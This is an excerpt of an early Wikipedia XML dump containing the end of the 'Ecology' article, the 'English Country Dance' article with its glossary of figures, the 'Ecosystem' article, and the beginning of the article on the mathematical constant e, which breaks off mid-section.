Ecology is a broad discipline comprised of many sub-disciplines.  A common, broad classification, moving from lowest to highest complexity, where complexity is defined as the number of entities and processes in the system under study, is:

* [[Physiological Ecology]] (or '''ecophysiology'''), and [[Behavioral ecology]], both of which focus on adaptations of the individual to its environment.
* [[Population ecology]] (or '''autecology'''), which studies the dynamics of populations of a single species.
* [[Community ecology]] (or '''synecology''') which studies the interactions between species within an ecological community;
* [[Ecosystem ecology]], which studies the flows of energy and matter through the biotic and abiotic components of [[ecosystem]]s;

Ecology can also be sub-divided on the basis of target groups, e.g.:

* [[Animal ecology]], [[plant ecology]], [[insect ecology]];

Ecology can also be sub-divided from the perspective of the studied [[biomes]], e.g.:

* [[Arctic ecology]] (or [[polar ecology]]), [[tropical ecology]], [[desert ecology]]

== History of ecology ==
: ''Main article: [[History of ecology]]

== Fundamental principles of ecology ==
===Biosphere and biodiversity===
''Main articles:'' [[Biosphere]], [[Biodiversity]], [[Unified neutral theory of biodiversity]]

For modern ecologists, ecology can be studied at several levels:  [[population]] level (individuals of the same species), [[biocoenosis]] level (or community of species), [[ecosystem]] level, and [[biosphere]] level.

The outer layer of the planet Earth can be divided into several compartments: the [[hydrosphere]] (or sphere of water), the [[lithosphere]] (or sphere of soils and rocks), and the [[earth's atmosphere|atmosphere]] (or sphere of the air). The [[biosphere]] (or sphere of life), sometimes described as &quot;the fourth envelope&quot;, is all living matter on the planet or that portion of the planet occupied by life. It reaches well into the other three spheres, although there are no permanent inhabitants of the atmosphere.  Relative to the volume of the Earth, the biosphere is only the very thin surface layer which extends from 11,000 meters below sea level to 15,000 meters above.  

It is thought that life first developed in the hydrosphere, at shallow depths, in the [[photic zone]]. Multicellular organisms then appeared and colonized [[benthos|benthic zones]].  Terrestrial life developed later, after the [[ozone layer]] protecting living beings from [[Ultraviolet|UV]] rays formed.  Diversification of terrestrial species is thought to be increased by the continents [[continental drift|drifting apart]], or alternately, colliding. Biodiversity is expressed at the ecological level (ecosystem), population level (intraspecific diversity), species level (specific diversity), and genetic level.  Recently technology has allowed the discovery of the deep ocean vent communities.  This remarkable ecological system is not dependent on sunlight but bacteria, utilising the chemistry of the hot volcanic vents, are at the base of its food chain. 

The biosphere contains great quantities of elements such as [[carbon]], [[nitrogen]] and [[oxygen]].  Other elements, such as [[phosphorus]], [[calcium]], and [[potassium]], are also essential to [[life]], yet are present in smaller amounts.  At the ecosystem and biosphere levels, there is a continual recycling of all these elements, which alternate between the mineral and organic states.

While there is a slight input of geothermal energy, the bulk of the functioning of the ecosystem is based on the input of [[solar energy]]. Plants and photosynthetic microorganisms convert [[light]] into chemical energy by the process of [[photosynthesis]], which creates [[glucose]] (a simple sugar) and releases free [[oxygen]]. Glucose thus becomes the secondary energy source which drives the ecosystem. Some of this glucose is used directly by other organisms for energy. Other sugar molecules can be converted to other molecules such as [[amino acid]]s. Plants use some of this sugar, concentrated in [[nectar (plant)|nectar]] to entice pollinators to aid them in reproduction.

[[Cellular respiration]] is the process by which organisms (like [[mammal]]s) break the glucose back down into its constituents, [[water]] and [[carbon dioxide]], thus regaining the stored energy the sun originally gave to the plants. The proportion of photosynthetic activity of plants and other photosynthesizers to the respiration of other organisms determines the specific composition of the Earth's atmosphere, particularly its oxygen level. [[airstream|Global air currents]] mix the atmosphere and maintain nearly the same balance of elements in areas of intense biological activity and areas of slight biological activity.

Water is also exchanged between the hydrosphere, lithosphere, atmosphere and biosphere in regular [[cycles]]. The oceans are large tanks, which store water, ensure thermal and climatic stability, as well as the transport of chemical elements thanks to large [[oceanic current]]s.

For a better understanding of how the biosphere works, and various dysfunctions related to human activity, American scientists simulated the biosphere in a small-scale model, called [[Biosphere II]].

=== The ecosystem concept ===
: ''Main article:'' [[Ecosystem]]

The first principle of ecology is that each living organism has an ongoing and continual relationship with every other element that makes up its environment. An [[ecosystem]] can be defined as any situation where there is interaction between organisms and their environment.

The ecosystem is composed of two entities, the entirety of life, the [[biocoenosis]] and the medium that life exists in the [[biotope]]. Within the ecosystem, species are connected and dependent upon one another in the [[food chain]], and exchange [[energy]] and [[matter]] between themselves and with their environment.

The concept of an ecosystem can apply to units of variable size, such as a [[pond]], a field, or a piece of deadwood.  A unit of smaller size is called a ''[[microecosystem]]''.  For example, an ecosystem can be a stone and all the life under it.  A ''mesoecosystem'' could be a [[forest]], and a ''macroecosystem'' a whole [[ecoregion]], with its [[watershed]].

The main questions when studying an ecosystem are:
* Whether could the colonization of a barren area be carried out
* Investigation the ecosystem's dynamics and changes
* The methods of which an ecosystem interacts at local, regional and global scale
* Whether the current state is stable  
* Investigating the value of an ecosystem and the ways and means that interaction of ecological systems provide benefit to humans, especially in the provision of healthy water?

Ecosystems are often classified by reference to the biotopes concerned.  The following ecosystems may be defined:

* As [[continental ecosystem]]s, such as [[forest ecosystem]]s, [[meadow ecosystem]]s such as [[steppe]]s or [[savanna]]s), or  [[Agroecology|agro-ecosystem]]s 
* As ecosystems of inland waters, such as [[lentic ecosystem]]s such as [[lake]]s or [[pond]]s; or [[lotic ecosystem]]s such as [[river]]s
* As [[oceanic ecosystem]]s.

Another classification can be done by reference to its communities, such as in the case of an [[human ecosystem]].

=== Dynamics and stability ===
: ''Main articles:'' [[biogeochemistry]], [[Homeostasis]], [[Population dynamics]]

'''Ecological factors''' which can affect dynamic change in a [[population]] or [[species]] in a given ecology or [[natural environment|environment]] are usually divided into two groups: abiotic and biotic.

'''Abiotic factors''' are geological, geographical, [[ecohydrology|hydrological]] and climatological parameters.  A '''biotope''' is an environmentally uniform region characterized by a particular set of abiotic ecological factors.  Specific abiotic factors include:

* [[Water]], which is at the same time an essential element to life and a [[natural environment|milieu]]
* [[Earth's atmosphere|Air]], which provides oxygen, nitrogen,  and carbon dioxide to living species and allows the dissemination of [[pollen]] and [[spore]]s
* [[Soil]], at the same time source of nutriment and physical support
** Soil [[PH|pH]], [[Salinity in Australia|salinity]], nitrogen and phosphorus content, ability to retain water, and density are all influential
* [[Temperature]], which should not exceed certain extremes, even if tolerance to heat is significant for some species
* [[Light]], which provides energy to the ecosystem through [[photosynthesis]]
* [[Natural disaster]]s can also be considered abiotic

'''Biocenose''', or community, is a group of populations of plants, animals, micro-organisms.  Each population is the result of [[procreation]]s between individuals of same species and [[cohabitation]] in a given place and for a given time.  When a population consists of an insufficient number of individuals, that population is threatened with extinction; the extinction of a species can approach when all biocenoses composed of individuals of the species are in decline.  In small populations, [[inbreeding|consanguinity (inbreeding)]] can result in reduced [[genetic diversity]] that can further weaken the biocenose.

'''Biotic ecological factors''' also influence biocenose viability; these factors are considered as either intraspecific and interspecific relations.

: '''Intraspecific relations''' are those which are established between individuals of the same species, forming a population.  They are relations of [[co-operation]] or [[competition]], with division of the territory, and sometimes organization in hierarchical societies.

: '''Interspecific relations'''&amp;mdash;[[biological interaction|interactions]] between different species&amp;mdash;are numerous, and usually described according to their beneficial, detrimental or neutral effect (for example, [[mutualism]] (relation ++) or [[competition]] (relation --). The most significant relation is the relation of [[predator|predation]] (to eat or to be eaten), which leads to the essential concepts in ecology of [[food chain]]s (for example, the grass is consumed by the herbivore, itself consumed by a carnivore, itself consumed by a carnivore of larger size).  A high predator to prey ratio can have a negative influence on both the predator and prey biocenoses in that low availability of food and high death rate prior to sexual maturity can decrease (or prevent the increase of) populations of each, respectively.  Selective hunting of species by humans which leads to population decline is one example of a high predator to prey ratio in action.  Other interspecific relations include [[parasitism]], [[infectious disease]] and competition for limiting resources, which can occur when two species share the same [[ecological niche]].

The existing interactions between the various living beings go along with a permanent mixing of mineral and organic substances, absorbed by organisms for their growth, their maintenance and their reproduction, to be finally rejected as waste.  These permanent recyclings of the elements (in particular [[carbon]], [[oxygen]] and [[nitrogen]]) as well as the [[water]] are called [[biogeochemical cycle]]s.  They guarantee a durable stability of the biosphere  (at least when unchecked human influence and [[extreme weather]] or geological phenomena are left aside).  This self-regulation, supported by negative [[feedback]] controls, ensures the perenniality of the ecosystems. It is shown by the very stable concentrations of most elements of each compartment.  This is referred to as [[homeostasis]].  The ecosystem also tends to evolve to a state of ideal balance, reached after a [[ecological succession|succession]] of events, the [[climax (biology)|climax]] (for example a pond can become a [[peat bog]]).

=== Spatial relationships and subdivisions of land ===
: ''Main articles:'' [[Biome]], [[ecozone]]

Ecosystems are not isolated from each other, but are interrelated.  For example, [[water]] may circulate between ecosystems by the means of a [[river]] or [[ocean current]]. Water itself, as a liquid medium, even defines ecosystems.  Some species, such as [[salmon]] or freshwater [[eel]]s move between marine systems and fresh-water systems.  These relationships between the ecosystems lead to the concept of a ''biome''.

A [[biome]] is a homogeneous ecological formation that exists over a vast region, such as [[tundra]] or [[steppe]]s. The [[biosphere]] comprises all of the Earth's biomes -- the entirety of places where life is possible -- from the highest mountains to the depths of the oceans.

Biomes correspond rather well to subdivisions distributed along the latitudes, from the [[equator]] towards the [[geographical pole|pole]]s, with differences based on to the physical environment (for example, oceans or mountain ranges) and to the [[climate]]. Their variation is generally related to the distribution of species according to their ability to tolerate temperature and/or dryness.  For example, one may find [[photosynthesis|photosynthetic]] [[algae]] only in the ''photic'' part of the ocean (where light penetrates), while [[conifer]]s are mostly found in mountains.

Though this is a simplification of more complicated scheme, [[latitude]] and [[altitude]] approximate a good representation of the distribution of [[biodiversity]] within the biosphere.  Very generally, the richness of biodiversity (as well for animal than plant species) is decreasing most rapidly near the [[equator]] (as in [[Brazil]]) and less rapidly as one approaches the poles.

The biosphere may also be divided into [[ecozone]], which are very well defined today and primarily follow the continental borders.  The ecozones are themselves divided into [[ecoregions]], though there is not agreement on their limits.

=== Ecosystem productivity ===
In an ecosystem, the connections between species are generally related to [[food]] and their role in the [[food chain]].  There are three categories of organisms:  

* ''Producers'' -- plants which are capable of [[photosynthesis]]
* ''Consumers'' -- animals, which can be primary consumers ([[herbivorous]]), or secondary or tertiary consumers ([[carnivorous]]).  
* ''Decomposers'' -- [[bacterium|bacteria]], [[mushrooms]] which degrade organic matter of all categories, and restore minerals to the environment.

These relations form sequences, in which each individual consumes the preceding one and is consumed by the one following, in what are called [[food chain]]s or food network. In a food network, there will be fewer organisms at each level&lt;!-- [[chains tropic]] --&gt; as one follows the links of the network up the chain.

These concepts lead to the idea of [[biomass]] (the total living matter in a given place), of [[primary productivity]] (the increase in the mass of plants during a given time) and of [[secondary productivity]] (the living matter produced by consumers and the decomposers in a given time).

These two last ideas are key, since they make it possible to evaluate the [[load capacity]] -- the number of organisms which can be supported by a given ecosystem.  In any food network, the energy contained in the level of the producers is not completely transferred to the consumers.  Thus, from an energy point of view, it is more efficient for humans to be primary consumers (to get nourishment from grains and vegetables) than as secondary consumers (from herbivores such as beef and veal), and more still than as a tertiary consumer (from eating carnivores).

The productivity of ecosystems is sometimes estimated by comparing three types of land-based ecosystems and the total of aquatic ecosystems:

* The forests (1/3 of the Earth's land area) contain dense biomasses and are very productive.  The total production of the world's forests corresponds to half of the primary production.  
* Savannas, meadows, and marshes (1/3 of the Earth's land area) contain less dense biomasses, but are productive.  These ecosystems represent the major part of what humans depend on for food.
* Extreme ecosystems in the areas with more extreme climates -- deserts and semi-deserts, tundra, alpine meadows, and steppes --  (1/3 of the Earth's land area) have very sparse biomasses and low productivity
* Finally, the marine and fresh water ecosystems (3/4 of Earth's surface) contain very sparse biomasses (apart from the coastal zones).

Humanity's actions over the last few centuries have seriously reduced the amount of the Earth covered by forests ([[deforestation]]), and have increased agro-ecosystems ([[agriculture]]). In recent decades, an increase in the areas occupied by extreme ecosystems has occurred ([[desertification]]).

=== Ecological crisis ===
Generally, an [[ecological crisis]] is what occurs when the [[environment]] of a species or a population evolves in a way unfavourable to that species survival.

It may be that the environment quality degrades compared to the species needs, after a change in an abiotic [[ecological factor]] (for example, an increase of temperature, less significant rainfalls).  &lt;br /&gt;
It may be that the environment becomes unfavourable for the survival of a species (or a population) due to an increased pressure of [[predation]] (for example overfishing).&lt;br /&gt;
Lastly, it may be that the situation becomes unfavourable to the quality of life of the species (or the population) due to a rise in the number of individuals ([[overpopulation]]).

Ecological crises may be more or less brutal (occurring within a few months or taking as long as a few million years).  They can also be of natural or anthropic origin.  They may relate to one unique species or to many species (see the article on [[Extinction event]]).

Lastly, an ecological crisis may be local (as an [[oil spill]]) or global (a rise in the sea level due to [[global warming]]).

According to its degree of endemism, a local crisis will have more or less significant consequences, from the death of many individuals to the total extinction of a species.  Whatever its origin, disappearance of one or several species often will involve a rupture in the [[food chain]], further impacting the survival of other species.

In the case of a global crisis, the consequences can be much more significant; some extinction events showed the disappearance of more than 90% of existing species at that time.  However, it should be noted that the disappearance of certain species, such as the dinosaurs, by freeing an ecological niche, allowed the development and the diversification of the mammals.  An ecological crisis thus paradoxically favored biodiversity.

Sometimes, an ecological crisis can be a specific and reversible phenomenon at the ecosystem scale.  But more generally, the crises impact will last.  Indeed, it rather is a connected series of events, that occur till a final point.  From this stage, no return to the previous stable state is possible, and a new stable state will be set up gradually (see [[homeorhesy]]).

Lastly, if an ecological crisis can cause extinction, it can also more simply reduce the quality of life of the remaining individuals.  Thus, even if the diversity of the human population is sometimes considered threatened (see in particular [[indigenous people]]), few people envision human disappearance at short span.  However, [[epidemic disease]]s, [[famine]]s, impact on health of reduction of [[air quality]], [[food crises]], reduction of living space, accumulation of toxic or non degradable wastes, threats on [[keystone species]] (great apes, panda, whales) are also factors influencing the [[well-being]] of people.

During the past decades, this increasing responsibility of humanity in some ecological crises has been clearly observed.  Due to the increases in technology and a rapidly increasing population, humans have more influence on their own environment than any other [[ecosystem engineer]].

Some usually quoted examples as ecological crises are:

* [[Permian-Triassic extinction event]] 250 million of years ago
* [[Cretaceous-Tertiary extinction event]] 65 million years ago
* [[Global warming]] related to the [[Greenhouse effect]].  Warming could involve flooding of the Asian deltas (see also [[ecorefugee]]s), multiplication of [[extreme weather]] phenomena and changes in the  nature and quantity of the food resources (see [[Global warming and agriculture]]). See also international [[Kyoto Protocol]].
* [[Ozone layer]] hole issue
* [[Deforestation]] and [[desertification]], with disappearance of many species.
* The [[nuclear reactor|nuclear]] meltdown at [[Chernobyl]] in [[1986]] caused the death of many people and animals from [[cancer]], and caused mutations in a large number of animals and people.  The area around the plant is now abandoned because of the large amount of radiation generated by the meltdown.

== See also ==
{{Book}}
* [[ELDIS]], a database on ecological aspects of economical development.
* [[Ecology movement]]
* [[Deep Ecology]]
* [[List of ecologists]]
* [[List of ecology topics]]
* [[List of biology topics]]
* [[List of publications in biology#Ecology| Important publications in ecology]]

{{Biology-footer}}
{{Natural sciences-footer}}


[[Category:Ecology|*]]

{{Link FA|fr}}

[[ab:Екологи]]
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    </revision>
  </page>
  <page>
    <title>English Country Dance</title>
    <id>9631</id>
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      <text xml:space="preserve">'''English Country Dance''', sometimes abbreviated ECD, is a form of [[folk dance]]. It is a social dance form, which dates from the late sixteenth century. Queen [[Elizabeth I of England]] is noted to have been entertained by &quot;Country Dancing&quot;. Although her time was the late [[Renaissance]], ECD was popular well into the [[Baroque]] and [[English Regency|Regency]] eras. The term '''[[Country Dance]]''' later evolved to include more dance forms.  It is not associated with English peasant dance, which, in the 17th Century, was still ritualized in villages as a pre-Morris vestige from a much earlier era. Whereas several figures common to English Country Dance, e.g. arming and the straight hey, go back into antiquity, as a social phenomenum, ECD's origins rest among the gentry, first at court, then spreading to bourgeois-London, finally moving into country manors around England.

==History==

In the early 20th century, ECD was revived in England by [[Cecil Sharp]], who also was known for collecting folksongs. ECD continues
today as a social dancing form, in Britain, the United States, and around the world. There are also descendants of ECD, such as [[Scottish country dance]], [[contradance]], and perhaps [[square dance]]. There is also English Ceilidh
which uses many simpler ECD dances but is definitely danced rather than walked.

The first published instructions for English Country Dance is [[John Playford|John Playford's]] [[The Dancing Master|The English Dancing Master]], which was first published in 1651 and was reprinted and enlarged many times, with a final edition published sometime around 1728.

Despite the title, English Country Dance was also popular in France. [[Raoul Auger Feuillet]] visited the English Court in the late 17th century and published a book, ''Orchesography'', with instructions for English Country Dances, in 1705. This book used a novel system for notating the dances and contained some dances invented by the author. It was subsequently translated into English and printed in England. Copies of these books may be found online at:

* http://www.pbm.com/~lindahl/weaver/

==Some (modern) English Country Dance terms==

'''Arm right (or left)''' - couples link arms and turn half way.

'''Back to back''' - facing another person, move forward ''passing'' right shoulders and ''fall back'' to place passing left. May also start by passing left and falling back right. Called a [[dosado|do si do]] in other dance forms.

'''Balance back''' - a ''single'' backward.

'''Both hands''' - two dancers face each other and give hands right to left and left to right.

'''Cast off''' - turn outward and dance outside the set.

'''Cast up (or down)''' - turn outward and dance up (or down) outside the set.

'''Changes (starting right or left)''' - like the ''circular hey'', but dancers give hands as they pass (handing hey). The number of changes is given first (e.g. two changes, three changes, etc).

'''Chassé''' - slipping step to right or left as directed.

'''Circular hey''' - dancers face partners or along the line and ''pass'' right and left alternating a stated number of changes. Usually done without hands, the circular hey may also be done by more than two couples facing alternately and moving in opposite directions - usually to their original places. This name for the figure is apparently modern, since &quot;hey&quot; also means certain long, and not circular, objects (e. g. fences). Nonetheless, some early dances calling for heys have been interpreted in modern times using circular heys.

'''Clockwise''' - in a ring, move to one's left. In a ''turn single'' turn to the right.

'''Contrary''' - your contrary is not your partner. In Playford's original notation, this term meant the same thing that ''Corner'' (or sometimes ''Opposite'') means today.

'''Corner''' - in a two-couple set, the dancer diagonally opposite, i.e., the first man and the second woman, first woman and second man.

'''Counter-clockwise''' - the opposite of clockwise - in a ring, move right. In a ''turn single'', turn to the left.

'''Cross hands''' - face and give left to left and right to right.

'''Cross over''' - cross with another dancer passing right.

'''Cross over one couple''' - cross as above and go outside below one couple ending improper.

'''Double''' - four steps forward (or back) closing the feet on the 4th step.

'''Fall (back)''' - dance backwards.

'''Figure of 8 '''- a weaving figure in which dancers pass between two standing people and move around them in a figure 8 pattern. A full figure of 8 returns the dancer to original position; a half figure of 8 leaves the dancer on the opposite side of the set from original position. In doing this figure, the man lets his partner pass in front of him.

'''Forward''' - ''lead'' or move in the direction you are facing.

'''Gip or Gypsy''' - two dancers move around each other in a circular path facing outward or towards the center as directed (4 bars).

'''Hands across''' - right or left hands are given to ''corners'', and dancers move in the direction they face.

'''Hands three, four etc'''. - the designated number of dancers form a ring and move around in the direction indicated, usually first to the left and back to the right.

'''Hey''' - a weaving figure in which two groups of dancers move in single file and in opposite directions (see ''circular hey'' and ''straight hey'').

'''Honor''' - couples step forward and right, close, shift weight, and curtsey or bow, then repeat to their left. In the time of Playford's original manual, a woman's curtsey was similar to the modern one, but a man's honor (or reverence) kept the upper body upright and involved sliding the left leg forward while bending the right knee.

'''Lead''' - couples join inside hands and walk up or down the set.

'''Mad Robin''' - a [[Dosado|back to back]] with your neighbor while maintaining eye-contact with your partner across the set. Men take one step forward and then slide to the right passing in front of their neighbour, then step backwards and slide left behind their neighbour. Conversely women take one step backwards and then slide to the left passing behind of their neighbour, then step forwards and slide right in front of their neighbour. 

'''Neighbour''' - the person you are standing beside, but not your partner.

'''Opposite''' - the person you are facing.

'''Pass''' - change places with another dancer moving forward and passing by the right shoulder, unless otherwise directed.

'''Pousette''' - two dancers face, give both hands and change places as a couple with two adjacent dancers. One pair moves a ''double'' toward the right wall, the other toward the left wall. In this half-pousette, couples pass around each other diagonally. To complete the pousette, move in the opposite direction. Dancers end in their original places. In a similar movement, the '''Draw Pousette''', the dancing pairs move on a U-shaped track with one dancer of the pair always moving forwards.

'''Right &amp;amp; left''' - like the ''circular hey'', but dancers give hands as they pass (handing hey).

'''Single''' - two steps in any direction closing feet on the second step.

'''Straight hey for four''' - dancers face alternately, the two in the middle facing out. Dancers pass right shoulders on either end and weave to the end opposite. If the last pass at the end is by the right. the dancer turns right and reenters the line by the same shoulder; vice versa if the last pass was to the left. Dancers end in their original places.

'''Straight hey for three''' - the first dancer faces the other two and ''passes'' right shoulders with the second dancer, left shoulder with the third - the other dancers moving and passing the indicated shoulder. On making the last pass, each dancer makes a whole turn on the end, bearing right if the last pass was by the right shoulder or left if last pass was by the left, and reenters the figure returning to place. Each dancer describes a figure of eight pattern.

'''Swing''' - a ''turn'' with two hands, but moving faster and making more than one revolution.

'''Three hands across or Three hands star''' - two dancers join right or left hands. Third dancer places right or left hand on top. Dancers move in the direction they face.

'''Turn''' - face, give ''both hands'', and make a complete circular, clockwise turn to place.

'''Turn by right or left''' - dancers join right (or left) hands and turn around, separate, and ''fall'' to places.

'''Turn single''' - dancers turn in four steps clockwise.

See also: [[Contredanse#Figures|figures in contra dances]]

==External links==
The Country Dance and Song Society is an umbrella organization whose members enjoy English Country Dancing.
http://www.cdss.org/

The English Folk Dance and Song Society runs dance evenings in England.
http://www.efdss.org/

The [[Society for Creative Anachronism]] practices many English country dances in a historical context.  http://www.sca.org

Of interest may be the history of Felpham &amp; Middleton Country Dance Club from 1933 - 1994 about one of the oldest extant English Country Dance Clubs in England. http://www.interfolk.co.uk/fmcdc/hist.html

[[Category:English folk dance]]
[[Category:Historical dance]]

[[eo:Anglaj contredances]]</text>
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  </page>
  <page>
    <title>Ecosystem</title>
    <id>9632</id>
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      <comment>/* History */</comment>
      <text xml:space="preserve">In [[ecology]], the word '''ecosystem''' is an abbreviation of the term, '''ecological system'''. Some consider this the basic unit in ecology. Ecosystems are not to be confused with [[biome]]s because they are smaller than biomes. They can be as big as the [[Sahara|Sahara Desert]], but as small as a [[pond]]. The term [[microecosystem]] may be used to describe a very small (often closed)ecosystem.

In general terms an ecological system can be thought of as an assemblage of [[organism]]s (plant, animal and other living organisms&amp;mdash;also referred to as a '''biotic community''' or '''[[biocoenosis]]''') living together with their [[natural environment|environment]] (or '''[[biotope]]'''), functioning as a loose unit. That is, a dynamic and complex whole, interacting as an &quot;ecological unit.&quot;

Early conceptions of this unit were as a structured functional unit in equilibrium. This equilibrium was characterized by [[energy]] and [[matter]] flows between its constituent elements. Others considered this vision limited, and preferred to understand an ecosystem in terms of [[cybernetics]]. From this view an ecological system is not a structured functional unit in equilibrium, but a functional organisation at ''dynamic equilibrium'', or what was also called ''steady state.'' The branch of ecology that gave rise to this view has become known as [[Systems Ecology]]. Steady state is understood as the phase of an ecological systems evolution when the [[organism]]s are &quot;balanced&quot; with each other and their environment. This balance is achieved through various types of interactions, such as [[predation]], [[parasite|parasitism]], [[mutualism]], [[commensalism]],  [[Competition#Competition_in_Biology_and_Ecology|competition]], and [[amensalism]].  Introduction of new elements, whether abiotic or biotic, into an ecosystem tend to have a disruptive effect.  In some cases, this can lead to ecological collapse and the death of many native species.  The abstract notion of [[ecological health]] attempts to measure the robustness and recovery capacity for an ecosystem. That is, how far the ecosystem is away from steady state.

The size and scale of an ecosystem can vary widely. It may be a whole [[forest]], as well as a small [[pond]], or even the geobiosphere itself. Different ecosystems are often separated by [[geography|geographical]] barriers, like [[desert]]s, [[mountain]]s or [[ocean]]s, or are isolated otherwise, like [[lake]]s or [[river]]s. As these borders are never rigid, ecosystems tend to blend into each other. As a result, the whole [[earth]] can be seen as a single ecosystem, or a lake can be divided into several ecosystems, depending on the scale used.

==History==
The term ecosystem first appeared in a 1935 publication by the British ecologist [[Arthur Tansley]] (Tansley, 1935). However, the term had been coined already in 1930 by Tansley's colleague [[Roy Clapham]], who was asked if he could think of a suitable word to denote the physical and biological components of an environment considered in relation to each other as a unit.  Tansley expanded on the term in his later work, adding the [[ecotope]] concept to define the spatial context of ecosystems (Tansley, 1939).  Modern usage of the term derives from the work of [[Raymond Lindeman]] in his classic study of a Minnesota lake (Lindeman, 1942). Lindeman's central concepts were that of ''functional organisation'' and ''ecological energy efficiency'' ratios. This approach is connected to [[ecological energetics]] and might also be thought of as environmental rationalism. It was subsequently applied by [[Howard T. Odum| H.T.Odum]], sometimes called the 'father' of ecosystems ecology, in founding the transdiscipline known as [[Systems Ecology]]. 

[[Category:Ecology]]
[[Category:Symbiosis]]

==See also==
*[[Pond ecosystem]]
*[[Aquatic ecosystem]]
*[[Biogeochemical cycle]]
*[[Biome]]
*[[Biosphere]]
*[[Biosphere 2]]
*[[Corporate Ecosystem]]
*[[Ecological yield]]
*[[Ecosystem ecology]]
*[[Ecotope]]
*[[Ecotourism]]
*[[Edge effect]]
*[[Eugene Odum]]
*[[Food chain]]
*[[Hypolith]]
*[[Invasive species]]
*[[Landscape ecology]]
*[[Media ecosystem]]
*[[Overfishing]]
*[[Trophic level]]
*[[Systems Ecology]]

==External links==

* [http://www.ericdigests.org/2004-1/ecosystems.htm Teaching about Ecosystems]
* [http://www.millenniumassessment.org/en/index.aspx Millennium Ecosystem Assessment] (2005)
* [http://www.greenfacts.org/ecosystems/index.htm A popularized version of the Millennium Ecosystem Assessment] by [[GreenFacts]].
* [http://www.beringclimate.noaa.gov Bering Sea Climate and Ecosystem - current status]
* [http://www.arctic.noaa.gov/detect/ Arctic Ecosystems and Climate:  A Near Realtime Arctic Change website]

== References ==
*Lindeman, R. L. 1942. The trophic-dynamic aspect of ecology. ''Ecology'' '''23''': 399-418.
*Patten, B.C. 1959. An Introduction to the Cybernetics of the Ecosystem: The Trophic-Dynamic Aspect. ''Ecology'' 40, no. 2.: 221-231.
*Tansley, A. G. 1935. The use and abuse of vegetational concepts and terms. ''Ecology'' '''16''': 284-307.
*Tansley, A.G. 1939. The British Islands and their Vegetation. Volume 1 of 2. University Press, Cambridge, Cambridge, United Kingdom. 484 pg.

[[Category:Ecology|Ecosystem]]
[[Category:Sustainability|Ecosystem]]

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    <title>E (mathematical constant)</title>
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      <minor />
      <comment>robot  Modifying: he, it</comment>
      <text xml:space="preserve">[[Image:E-ruud.png|thumb|''e'' is the unique number, such that the derivative of ''e''&lt;sup&gt;''x''&lt;/sup&gt; at ''x''=0 equals 1.]]

The [[mathematical constant]] '''''e''''' is the base of the [[natural logarithm]]. It is occasionally called '''Euler's number''' after the [[Switzerland|Swiss]] [[mathematician]] [[Leonhard Euler]], or '''Napier's constant''' in honor of the [[Scotland|Scottish]] mathematician [[John Napier]] who introduced [[logarithm]]s. It is one of the most important numbers in mathematics, alongside the additive and multiplicative identities [[0 (number)|0]] and [[1 (number)|1]], the [[imaginary unit]] ''i'', and [[pi|&amp;pi;]], the circumference to diameter ratio for any circle. It has a number of equivalent definitions; some of them are given below. Its value to the 29th decimal digit is:

:''e'' ≈ 2.71828 18284 59045 23536 02874 7135

==History==
The first references to the constant were published in [[1618]] in the table of an appendix of a work on logarithms by John Napier. However, this did not contain the constant itself, but simply a list of natural logarithms calculated from the constant. It is assumed that the table was written by [[William Oughtred]]. The first indication of ''e'' as a constant was discovered by [[Jacob Bernoulli]], trying to find the value of the following expression.

: &lt;math&gt;\lim_{n\to\infty} \left(1+\frac{1}{n}\right)^n&lt;/math&gt;

The first known use of the constant, represented by the letter b, was in correspondence from [[Gottfried Leibniz]] to [[Christiaan Huygens]] in [[1690]] and [[1691]]. Leonhard Euler started to use the letter e for the constant in [[1727]], and the first use of ''e'' in a publication was Euler's ''Mechanica'' ([[1736]]). While in the subsequent years some researchers used the letter c, e was more common and eventually became the standard.

The exact reasons for the use of the letter e are unknown, but it may be because it is the first letter of the word ''[[exponential]]''.  Another possibility is that Euler used it because it was the first [[vowel]] after [[a]], which he was already using for another number, but his reason for using vowels is unknown. It is unlikely that Euler chose the letter because it is his first initial, since he was a very modest man, always trying to give proper credit to the work of others.{{rf|1|OConnor}}

==Definitions==
The three most common definitions of ''e'' are listed below.

# The [[limit (mathematics)|limit]] 
#:&lt;math&gt;e = \lim_{n\to\infty} \left( 1 + \frac{1}{n} \right)^n&lt;/math&gt;
#:
# The sum of the [[infinite series]]
#:&lt;math&gt;e = \sum_{n = 0}^\infty \frac{1}{n!} = \frac{1}{0!} + \frac{1}{1!} + \frac{1}{2!} + \frac{1}{3!} + \frac{1}{4!} + \cdots&lt;/math&gt;
#::where ''n''! is the [[factorial]] of ''n''.
#:
# The unique [[real number]] ''x'' &gt; 0 such that
#:&lt;math&gt;\int_{1}^{x} \frac{1}{t} \, dt = {1}&lt;/math&gt; 
#::(that is, the number ''x'' such that area under the [[hyperbola]] &lt;math&gt; f(t)=1/t &lt;/math&gt; from 1 to ''x'' is equal to 1).

These different definitions can be [[characterizations of the exponential function|proven]] to be equivalent.

==Properties==
The [[exponential function]] ''e''&lt;sup&gt;''x''&lt;/sup&gt; is important because it is the unique function (up to multiplication by a constant) which is its own [[derivative]], and therefore, its own [[antiderivative|primitive]]:

:&lt;math&gt;\frac{d}{dx}e^x=e^x&lt;/math&gt; and

:&lt;math&gt;\int e^x\,dx=e^x + C&lt;/math&gt;, where ''C'' is the [[arbitrary constant of integration]].

It is known that ''e'' is [[Irrational number|irrational]] ([[Proof that e is irrational|proof]]) and even more, [[Transcendental number|transcendental]] ([[Lindemann-Weierstrass theorem|proof]]). It was the first number to be proved transcendental without having been specifically constructed for this purpose (cf. [[Liouville number]]); the proof was given by [[Charles Hermite]] in [[1873]]. It is conjectured to be [[normal number|normal]]. It features in [[Euler's formula]], one of the most important identities in mathematics:

:&lt;math&gt;e^{ix} = \cos(x) + i\sin(x).\,\!&lt;/math&gt;

The special case with ''x'' = &amp;pi; is known as [[Euler's identity]]: 

:&lt;math&gt;e^{i\pi}+1 =0 ,\,\!&lt;/math&gt;

described by [[Richard Feynman]] as ''Euler's jewel'', connecting arguably the five most important numbers in math. 

The following is an infinite [[simple continued fraction]] expansion of ''e'' (sequence [[OEIS:A005131|A005131]] in [[Online Encyclopedia of Integer Sequences|OEIS]]):

:&lt;math&gt;e = [1; 0, 1, 1, 2, 1, 1, 4, 1, 1, 6, 1, 1, 8, 1, \ldots,1, 2n, 1,\ldots] \,&lt;/math&gt;

The following is an infinite [[generalized continued fraction]] expansion of ''e'':

:&lt;math&gt;e= 2+\frac{1}{1+\frac{1}{2+\frac{2}{3+\frac{3}{\ddots}}}}.&lt;/math&gt;

The number ''e'' is also equal to the sum of the following [[infinite series]]:

